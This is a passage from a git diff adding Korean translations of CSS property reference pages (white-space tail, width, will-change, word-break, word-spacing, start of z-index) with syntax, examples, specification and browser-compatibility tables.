+  &lt;p&gt;    Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+
+    Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+
+    Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+
+    Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">.box {
+  width: 300px;
+  padding: 16px;
+  border-radius: 10px;
+}
+
+#css-code {
+  background-color: rgb(220,220,220);
+  font-size: 16px;
+}
+
+#results {
+  background-color: rgb(230,230,230);
+  overflow-x: scroll;
+  height: 400px;
+  white-space: normal;
+  font-size: 14px;
+}</pre>
+
+<pre class="brush: js">var select  = document.querySelector("#css-code select");
+var results = document.querySelector("#results p");
+select.addEventListener("change", function(e) {
+  results.setAttribute("style", "white-space: "+e.target.value);
+})</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">    &lt;p&gt;    Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+
+    Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+
+    Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+
+    Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS_결과">CSS + 결과</h3>
+
+<p>{{EmbedLiveSample('See_it_in_action_LiveSample', '100%', 500)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#propdef-white-space', 'white-space')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Precises the breaking algorithms.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#white-space-prop', 'white-space')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.white-space")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>단어 안에서의 자동 줄 바꿈 방식을 지정하는 속성: {{CSSxRef("overflow-wrap")}}, {{CSSxRef("word-break")}}, {{CSSxRef("hyphens")}}</li>
+</ul>
diff --git a/files/ko/web/css/width/index.html b/files/ko/web/css/width/index.html
new file mode 100644
index 0000000000..130c81148a
--- /dev/null
+++ b/files/ko/web/css/width/index.html
@@ -0,0 +1,200 @@
+---
+title: width
+slug: Web/CSS/width
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/width
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS <strong><code>width</code></strong> 속성은 요소의 너비를 설정합니다. 기본값은 콘텐츠 영역의 너비이지만, {{cssxref("box-sizing")}}이 <code>border-box</code>라면 테두리 영역의 너비를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/width.html")}}</div>
+
+
+
+<p>{{cssxref("min-width")}}와 {{cssxref("max-width")}} 속성은 <code>width</code>를 덮어씁니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; */
+width: 300px;
+width: 25em;
+
+/* &lt;percentage&gt; */
+width: 75%;
+
+/* 키워드 */
+width: 25em border-box;
+width: 75% content-box;
+width: max-content;
+width: min-content;
+width: available;
+width: fit-content(20em);
+width: auto;
+
+/* 전역 값 */
+width: inherit;
+width: initial;
+width: unset;
+</pre>
+
+<p><code>width</code> 속성은 다음과 같이 지정합니다.</p>
+
+<ul>
+ <li><code><a href="#min-content">min-content</a></code>, <code><a href="#max-content">max-content</a></code>, <code><a href="#fit-content">fit-content</a></code>, <code><a href="#auto">auto</a></code> 키워드 중 하나.</li>
+ <li>하나의 <code><a href="#&lt;length>">&lt;length&gt;</a></code> 또는 <code><a href="#&lt;percentage>">&lt;percentage&gt;</a></code> 값.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="&lt;length>" name="&lt;length>">{{cssxref("&lt;length&gt;")}}</a></dt>
+ <dd>너비의 절댓값.</dd>
+ <dt><a id="&lt;percentage>" name="&lt;percentage>">{{cssxref("&lt;percentage&gt;")}}</a></dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비의 백분율. 컨테이닝 블록이 요소 너비에 영향을 받는 경우의 결과 레이아웃은 정해지지 않습니다.</dd>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>요소의 너비를 브라우저가 계산해 지정합니다.</dd>
+ <dt><a id="max-content" name="max-content"><code>max-content</code></a></dt>
+ <dd>본질적인 선호 너비.</dd>
+ <dt><a id="min-content" name="min-content"><code>min-content</code></a></dt>
+ <dd>본질적인 최소 너비.</dd>
+ <dt id="fit-content"><a id="fit-content" name="fit-content"><code>fit-content({{cssxref("&lt;length-percentage&gt;")}}</code></a></dt>
+ <dd><code>min(max-content, max(min-content, &lt;length-percentage&gt;))</code>의 결과.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_너비">기본 너비</h3>
+
+<pre class="brush:css">p.goldie {
+  background: gold;
+}</pre>
+
+<pre class="brush:html">&lt;p class="goldie"&gt;모질라 커뮤니티는 많은 수의 대단한 소프트웨어를 제작합니다.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('기본_너비', '500px', '64px')}}</p>
+
+<h3 id="px과_em"><code>px</code>과 <code>em</code></h3>
+
+<pre class="brush: css">.px_length {
+  width: 200px;
+  background-color: red;
+  color: white;
+  border: 1px solid black;
+}
+
+.em_length {
+  width: 20em;
+  background-color: white;
+  color: red;
+  border: 1px solid black;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="px_length"&gt;픽셀 너비&lt;/div&gt;
+&lt;div class="em_length"&gt;em 너비&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('px과_em', '500px', '64px')}}</p>
+
+<h3 id="백분율">백분율</h3>
+
+<pre class="brush: css">.percent {
+  width: 20%;
+  background-color: silver;
+  border: 1px solid red;
+}</pre>
+
+<pre class="brush: html">&lt;div class="percent"&gt;백분율 너비&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('백분율', '500px', '64px')}}</p>
+
+<h3 id="max-content_2"><code>max-content</code></h3>
+
+<pre class="brush:css;">p.maxgreen {
+  background: lightgreen;
+  width: intrinsic;           /* Safari/WebKit uses a non-standard name */
+  width: -moz-max-content;    /* Firefox/Gecko */
+  width: -webkit-max-content; /* Chrome */
+  width: max-content;
+}</pre>
+
+<pre class="brush:html">&lt;p class="maxgreen"&gt;Mozilla 커뮤니티는 많은 수의 대단한 소프트웨어를 제작합니다.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('max-content_2', '500px', '64px')}}</p>
+
+<h3 id="min-content_2"><code>min-content</code></h3>
+
+<pre class="brush:css">p.minblue {
+  background: lightblue;
+  width: -moz-min-content;    /* Firefox */
+  width: -webkit-min-content; /* Chrome */
+  width: min-content;
+}</pre>
+
+<pre class="brush:html">&lt;p class="minblue"&gt;Mozilla 커뮤니티는 많은 수의 대단한 소프트웨어를 제작합니다.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('min-content_2', '500px', '155px')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>페이지를 확대하거나 글꼴 크기를 늘렸을 때 <code>width</code> 속성을 지정한 요소가 잘리거나 다른 내용을 가리지 않도록 확인하세요.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener">Understanding Success Criterion 1.4.4  | Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Sizing', '#width-height-keywords', 'width')}}</td>
+   <td>{{Spec2('CSS4 Sizing')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Added the <code>max-content</code>, <code>min-content</code>, <code>fit-content</code> keywords.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#the-width-property', 'width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Precises on which element it applies to.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#width', 'width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델</a>, {{cssxref("height")}}, {{cssxref("box-sizing")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}</li>
+</ul>
diff --git a/files/ko/web/css/will-change/index.html b/files/ko/web/css/will-change/index.html
new file mode 100644
index 0000000000..c641f89ad1
--- /dev/null
+++ b/files/ko/web/css/will-change/index.html
@@ -0,0 +1,171 @@
+---
+title: will-change
+slug: Web/CSS/will-change
+translation_of: Web/CSS/will-change
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="요약">요약</h2>
+
+<p><span class="seoSummary"><strong><code>will-change</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> 속성은 요소에 예상되는 변화의 종류에 관한 힌트를 브라우저에 제공케 한다.  그래서 실제 요소가 변화되기 전에 미리 브라우저는 적절하게 최적화할 수 있다. 이러한 종류의 최적화는 잠재적으로 성능 비용이 큰 작업을 그것이 실제로 요구되기 전에 미리 실행함으로써 페이지의 반응성을 증가시킬 수 있다.</span></p>
+
+<p>이 속성을 적당하게 사용하는 것이 꽤 어려울 수 있다:</p>
+
+<ul>
+ <li>
+  <p id="Don't_apply_will-change_to_too_many_elements"><em>너무 많은 요소에 will-change 를 적용하지 말라.</em>  브라우저는 모든 것을 최적화하기 위해 가능한 모든 것을 이미 시도하고 있다. will-change 와 묶인 강한 최적화의 몇은 많은 기기 자원을 소모할 것이다. 또한 이 같은 과도한 사용은 페이지 속도를 늦추거나 엄청난 자원을 소비할 수 있다.</p>
+ </li>
+ <li>
+  <p><em>아껴 사용하라.</em> 브라우저가 만드는 최적화의 기본 행동은 가능한 바로 최적화를 제거하고 기본 상태로 돌리는 것이다. 그러나 will-change를 스타일시트에 직접 추가하는 것은 목표 요소가 곧 변경되어 (will-change 를 정의하지 않았을 때보다) 더 오랜 시간동안 최적화를 유지하리란 것을 암시한다. 스크립트 코드를 사용하여 변화발생의 전후로 will-change 의 활성/비활성을 바꿔주는 것이 좋다.</p>
+ </li>
+ <li>
+  <p><em>서둘러 최적화하기 위해 will-change 를 적용하지 말라. </em>만약 페이지가 잘 돌아간다면 단지 조금 더 빨리하기 위해 will-change 속성을 추가하지 말라. <code>will-change</code> 는 당장의 성능 문제를 해결하기 위한 마지막 수단으로 사용되기 위해 계획된 것이다. 성능문제를 예상하며 사용되어선 안된다. will-change 의 초과사용은 브라우저가 가능한 변화에 대한 준비를 시도하기 때문에 과도한 메모리 사용과 더 복잡한 렌더링을 초래할 것이다. 더 열악한 성능을 이끌 것이다.</p>
+ </li>
+ <li>
+  <p id="Give_it_sufficient_time_to_work"><em>작업할 충분한 시간을 줘라.</em> 이 속성은 작성자로 하여금 사용자 에이전트가 변경가능한 속성을 미리 알 수 있게 하도록고안되었다. 그러면 브라우저는 실제 속성변화가 발생하기 전에 속성에 요구되는 어떠한 최적화던지 미리 적용하는 것을 선택할 수 있다. 그래서 브라우저가 실제 최적화를 할 시간을 주는 것은 중요하다. 변화가 발생하기 조금 전에라도 그 변화를 예상할 방법을 찾아 <code>will-change</code> 를 설정하라.</p>
+ </li>
+</ul>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+will-change: auto;
+will-change: scroll-position;
+will-change: contents;
+will-change: transform;        /* Example of &lt;custom-ident&gt; */
+will-change: opacity;          /* Example of &lt;custom-ident&gt; */
+will-change: left, top;        /* Example of two &lt;animateable-feature&gt; */
+
+/* 전역 값 */
+will-change: inherit;
+will-change: initial;
+will-change: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>이 키워드는 특정 의도 없음을 나타낸다; 사용자 에이전트는 보통 실행하는 어떤 발견한 방법이던 최적화이던  적용해야 한다.</dd>
+</dl>
+
+<p><code>&lt;animateable-feature&gt;</code> 는 다음의 값중 하나일 수 있다:</p>
+
+<dl>
+ <dt><code>scroll-position</code></dt>
+ <dd>머지않아 요소 스크롤 위치의 변경 혹은 변이에 대한 기대를 가르킨다.</dd>
+ <dt><code>contents</code></dt>
+ <dd>머지않아 요소 내용에 대한 변경 혹은 변이에 대한 기대를 가르킨다.</dd>
+ <dt>{{cssxref("custom-ident", "&lt;custom-ident&gt;")}}</dt>
+ <dd>머지않아 해당 요소의 주어진 이름의 속성에 대한 변경 혹은 변이에 대한 기대를 가르킨다. 만약 주어진 속성이 축약형이라면 그 안에 들어간 나열된 속성 모두에 대한 기대이다. 다음의 값들은 불가능하다: <code>unset</code>, <code>initial</code>, <code>inherit</code>, <code>will-change</code>, <code>auto</code>, <code>scroll-position</code>, <code>contents</code>. 명세는 특정값의 행동을 정의하지 않으나 but it is common for <code>transform</code> to be a compositing layer hint. <a href="https://github.com/operasoftware/devopera/pull/330">Chrome currently takes two actions</a>, given particular CSS property idents: establish a new compositing layer or a new {{Glossary("stacking context")}}.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: css">.sidebar {
+  will-change: transform;
+}
+</pre>
+
+<p>상단 예시는 will-change 속성을 스타일시트에 직접 추가한다: 이것은 브라우저가 항상 메모리내에서 필요보다 더 오래동안 최적화를 유지하도록 하는데 바로 이렇게 스타일시트에 직접 삽입하는 것을 피해야 할 이유로서 살펴봤던 것이다. 아래는 스크립트를 통해 will-change 를 적용하는 법의 다른 예시를 보여주고 십중팔구 대부분의 경우에 이렇게 시행해야 한다.</p>
+
+<pre class="brush: js">var el = document.getElementById('element');
+
+// 요소가 hover 상태일 때 will-change 설정
+el.addEventListener('mouseenter', hintBrowser);
+el.addEventListener('animationEnd', removeHint);
+
+function hintBrowser() {
+  // 애니메이션 키프레임 단락 내에서
+  // 변경될 예정인 최적화 가능한 속성들
+  this.style.willChange = 'transform, opacity';
+}
+
+function removeHint() {
+  this.style.willChange = 'auto';
+}</pre>
+
+<p>그러나 페이지가 크고 복잡한 앨범 혹은 슬라이드 다발로 이뤄진 프레젠테이션등 키를 눌러서 페이지를 넘기는 어플리케이션등을 위해선 스타일시트에 will-change 를 직접 포함시키는 것이 적절할 것이다. 이것은 브라우저가 미리 변이를 준비하게 해 키가 눌리자마자 페이지간의 팔팔한 애니메이션을 가능케 할 것이다.</p>
+
+<pre class="brush: css">.slide {
+  will-change: transform;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Will Change', '#will-change', 'will-change')}}</td>
+   <td>{{Spec2('CSS Will Change')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(36)}}</td>
+   <td>{{CompatGeckoDesktop(36)}} [1]</td>
+   <td><a href="https://dev.modern.ie/platform/status/csswillchange/?filter=f3e0000bf&amp;search=will-change">{{CompatNo}}</a></td>
+   <td>{{CompatOpera(24)}}</td>
+   <td>{{CompatSafari(9.1)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile(36)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] From Firefox 31 to 35, <code>will-change</code> was available, but only if the user flipped the <code>layout.css.will-change.enabled</code> flag to <code>true</code>. The preference have been removed in Firefox 43.</p>
+
+<p>Firefox allows to set <code>will-change: will-change</code> up to version 42.0, which is invalid by the spec. This was fixed in Firefox 43.0. See {{bug("1195884")}}.</p>
diff --git a/files/ko/web/css/word-break/index.html b/files/ko/web/css/word-break/index.html
new file mode 100644
index 0000000000..16a7eeecc4
--- /dev/null
+++ b/files/ko/web/css/word-break/index.html
@@ -0,0 +1,141 @@
+---
+title: word-break
+slug: Web/CSS/word-break
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/word-break
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>word-break</code></strong> 속성은 텍스트가 자신의 콘텐츠 박스 밖으로 오버플로 할 때 줄을 바꿀 지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/word-break.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+word-break: normal;
+word-break: break-all;
+word-break: keep-all;
+word-break: break-word; /* 사용 안함 */
+
+/* 전역 값 */
+word-break: inherit;
+word-break: initial;
+word-break: unset;
+</pre>
+
+<p><code>word-break</code> 속성은 아래의 값 중 하나를 선택해서 지정할 수 있습니다.</p>
+
+<h3 class="brush:css" id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>기본 줄 바꿈 규칙을 사용합니다.</dd>
+ <dt><code>break-all</code></dt>
+ <dd>오버플로를 방지하기 위해서는 어떠한 두 문자 사이에서도 줄 바꿈이 발생할 수 있습니다. (한중일 텍스트 제외)</dd>
+ <dt><code>keep-all</code></dt>
+ <dd>한중일(CJK) 텍스트에서는 줄을 바꿀 때 단어를 끊지 않습니다. 비 CJK 텍스트에서는 <code>normal</code>과 동일합니다.</dd>
+ <dt><code>break-word</code> {{Deprecated_inline}}</dt>
+ <dd>실제 {{cssxref("overflow-wrap")}} 속성에 상관하지 않고, <code>word-break: normal</code>과 <code>overflow-wrap: anywhere</code>를 설정한 것과 같은 효과를 냅니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> <code>word-break: break-word</code>와 <code>overflow-wrap: break-word</code>({{cssxref("overflow-wrap")}} 참고)와 달리, <code>word-break: break-all</code>은 텍스트의 오버플로가 시작하는 정확한 지점에서 줄을 바꿉니다. 단어 전체를 다음 줄로 이동하면 중간을 끊지 않아도 될 상황에서도 마찬가지입니다.</p>
+</div>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;1. &lt;code&gt;word-break: normal&lt;/code&gt;&lt;/p&gt;
+&lt;p class="normal narrow"&gt;This is a long and
+ Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;
+
+&lt;p&gt;2. &lt;code&gt;word-break: break-all&lt;/code&gt;&lt;/p&gt;
+&lt;p class="breakAll narrow"&gt;This is a long and
+ Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;
+
+&lt;p&gt;3. &lt;code&gt;word-break: keep-all&lt;/code&gt;&lt;/p&gt;
+&lt;p class="keepAll narrow"&gt;This is a long and
+ Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;
+
+&lt;p&gt;4. &lt;code&gt;word-break: break-word&lt;/code&gt;&lt;/p&gt;
+&lt;p class="breakWord narrow"&gt;This is a long and
+  Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.narrow {
+  padding: 5px;
+  border: 1px solid;
+  display: table;
+  max-width: 100%;
+}
+
+.normal {
+  word-break: normal;
+}
+
+.breakAll {
+  word-break: break-all;
+}
+
+.keepAll {
+  word-break: keep-all;
+}
+
+.breakWord {
+  word-break: break-word;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제', '100%', 600)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#word-break-property', 'word-break')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.word-break")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("overflow-wrap")}}</li>
+</ul>
diff --git a/files/ko/web/css/word-spacing/index.html b/files/ko/web/css/word-spacing/index.html
new file mode 100644
index 0000000000..f81c96a0b9
--- /dev/null
+++ b/files/ko/web/css/word-spacing/index.html
@@ -0,0 +1,127 @@
+---
+title: word-spacing
+slug: Web/CSS/word-spacing
+tags:
+  - CSS
+  - CSS Property
+  - CSS Text
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/word-spacing
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>word-spacing</code></strong> 속성은 단어와 단어 사이, 태그와 태그 사이의 거리를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/word-spacing.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+word-spacing: normal;
+
+/* &lt;length&gt; 값 */
+word-spacing: 3px;
+word-spacing: 0.3em;
+
+/* &lt;percentage&gt; 값 */
+word-spacing: 50%;
+word-spacing: 200%;
+
+/* 전역 값 */
+word-spacing: inherit;
+word-spacing: initial;
+word-spacing: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>현재 글씨체와 브라우저가 결정한 일반적인 단어 간격을 사용합니다.</dd>
+ <dt>{{cssxref("length")}}</dt>
+ <dd>지정한 길이를 기본 단어 간격에 더합니다.</dd>
+ <dt>{{cssxref("percentage")}}</dt>
+ <dd>영향 받는 문자 최대 폭의 백분율만큼을 기본 단어 간격에 더합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="mozdiv1"&gt;다양한 단어...&lt;/div&gt;
+&lt;div id="mozdiv2"&gt;...더 많은 단어&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#mozdiv1 {
+  word-spacing: 15px;
+}
+
+#mozdiv2 {
+  word-spacing: 5em;
+} </pre>
+
+<p>{{ EmbedLiveSample('예제') }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>큰 절댓값의 <code>word-spacing</code>을 적용한 문장은 거의 읽기 힘들어집니다. 큰 양의 값을 적용하면 단어의 사이가 너무나도 멀어져서 문장처럼 보이지 않습니다. 반면 지나친 음의 값을 적용하면 단어끼리 서로 겹쳐서 어느 단어의 시작과 끝을 알아차리지 못하게 됩니다.</p>
+
+<p>글씨체마다 문자 너비가 다르므로, 가독성을 확보하는 수준의 <code>word-spacing</code> 역시 상황에 맞춰 결정해야 합니다. 모든 글씨체에서 가독성을 유지하는 단 하나의 값은 존재하지 않습니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Understanding Success Criterion 1.4.8 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#propdef-word-spacing', 'word-spacing')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Replaces the previous values with a <code>&lt;spacing-limit&gt;</code> value that defines the same thing, plus the <code>&lt;percentage&gt;</code> value. Allows up to three values describing the optimum, minimum, and maximum value.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#propdef-word-spacing', 'word-spacing')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#word-spacing', 'word-spacing')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.word-spacing")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("letter-spacing")}}</li>
+</ul>
diff --git a/files/ko/web/css/z-index/index.html b/files/ko/web/css/z-index/index.html
new file mode 100644
index 0000000000..0c3cb36b9e
--- /dev/null
+++ b/files/ko/web/css/z-index/index.html
@@ -0,0 +1,138 @@
+---
+title: z-index
+slug: Web/CSS/z-index
+tags:
+  - CSS
+  - CSS Positioning
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/z-index
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>z-index</code></strong> 속성은 <a href="/ko/docs/Web/CSS/position">위치 지정 요소</a>와, 그 자손 또는 하위 플렉스 아이템의 Z축 순서를 지정합니다. 더 큰 <code>z-index</code> 값을 가진 요소가 작은 값의 요소 위를 덮습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/z-index.html")}}</div>
+
+
+
+<p>위치 지정 요소(<code>position</code>이 <code>static</code> 외의 다른 값인 요소)의 박스에 대해, <code>z-index</code> 속성은 다음 항목을 지정합니다.</p>
+
+<ol>
